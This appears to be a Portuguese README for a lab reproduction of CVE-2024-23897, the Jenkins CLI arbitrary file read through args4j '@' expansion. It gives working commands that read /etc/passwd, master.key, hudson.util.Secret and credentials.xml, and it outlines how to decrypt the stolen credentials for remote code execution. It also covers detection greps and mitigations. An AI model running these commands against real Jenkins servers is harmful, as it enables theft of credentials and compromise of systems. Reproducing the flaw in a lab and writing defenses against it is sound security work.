
Reprodução de cve-2024-23897-jenkins_lfi_reproduction
CVSS 9.8 (CRÍTICO) — Explorada ativamente na natureza
CVE-2024-23897 é uma vulnerabilidade crítica de leitura arbitrária de arquivos na interface de linha de comando (CLI) do Jenkins. A CLI do Jenkins utiliza a biblioteca args4j para analisar argumentos de comando. Essa biblioteca expande o caractere @ seguido de um caminho de arquivo (@/caminho/para/arquivo) lendo o conteúdo desse arquivo e injetando-o como argumentos. Um atacante não autenticado pode explorar esse comportamento para ler arquivos arbitrários no sistema de arquivos do controlador Jenkins sem exigir qualquer autenticação.
Quando combinada com a extração de credentials.xml, segredos ou master.key, essa vulnerabilidade pode levar ao comprometimento total do servidor (RCE).
@ no args4jA biblioteca args4j (usada pelo analisador de comandos da CLI do Jenkins) implementa um recurso de conveniência: quando um argumento começa com @, ela trata o restante do argumento como um caminho de arquivo, lê o conteúdo do arquivo e o divide em vários argumentos. Isso foi projetado para permitir a passagem de grandes listas de argumentos por meio de arquivos.
Exemplo: java -jar jenkins-cli.jar who-am-i @/etc/passwd faria o args4j ler /etc/passwd e usar seu conteúdo como argumentos para o comando who-am-i.
Como certos comandos da CLI (como connect-node) ecoam ou incluem valores de argumento em mensagens de erro/respostas, um atacante pode observar o conteúdo do arquivo na resposta da CLI.
@/etc/passwd| Produto | Afetado | Corrigido |
|---|---|---|
| Jenkins (semanal) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (anterior) | ≤ 2.414.2 | 2.414.3 |
Nota: Todas as versões do Jenkins anteriores às correções listadas acima estão vulneráveis. O recurso da CLI existe no Jenkins há muitos anos, portanto versões mais antigas também são afetadas, mesmo que não estejam listadas explicitamente.
Execute uma instância vulnerável do Jenkins com Docker:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
Anote a senha de administrador inicial nos logs do contêiner.
Verifique se a porta da CLI está aberta:
# Jenkins CLI port (TCP 50000) should be listening
# Or you can use the HTTP CLI endpoint at /cli/
Instale Python 3.8+ com as dependências necessárias:
pip install requests
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
O conteúdo dos arquivos aparece na resposta da CLI ou na saída de erro. Por exemplo, a leitura de /etc/passwd retornaria as entradas do arquivo de senhas do sistema.
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
Com master.key e hudson.util.Secret, você pode descriptografar credenciais do Jenkins usando ferramentas como jenkins_decrypt.py ou o script decrypt.py das referências do CVE-2024-23897. As credenciais descriptografadas (chaves SSH, tokens de API, chaves de provedores de nuvem) podem então ser usadas para alcançar execução remota de código em nós conectados e ambientes de nuvem.
Pesquise nos logs de acesso ou nos logs de auditoria da CLI por argumentos contendo @ seguidos de caminhos de arquivo:
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log
# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
Se não for possível aplicar o patch imediatamente, desative a porta da CLI definindo a opção --webroot ou bloqueando a porta 50000. No entanto, observe que o endpoint HTTP da CLI (/cli/) na interface web ainda pode ser explorável, portanto, a aplicação do patch é fortemente recomendada.
Este repositório é destinado exclusivamente a testes de segurança autorizados e fins educacionais. A exploração não autorizada desta vulnerabilidade é ilegal. Os autores não são responsáveis por qualquer uso indevido destas informações. Teste apenas em sistemas que você possua ou para os quais tenha permissão explícita por escrito.
| Ação | Detalhes |
|---|
| Atualize o Jenkins | Atualize para Jenkins 2.442+ ou LTS 2.426.3+ / 2.414.3+ |
| Desative a porta da CLI | Bloqueie a porta TCP 50000 no firewall se não for necessária |
| Restrinja o acesso à rede | Limite o acesso à porta da CLI do Jenkins apenas a redes confiáveis |
| Ative a autenticação | Garanta que o Jenkins exija autenticação para todo acesso |
| Monitore os logs | Procure por comandos da CLI com argumentos @ nos logs de acesso |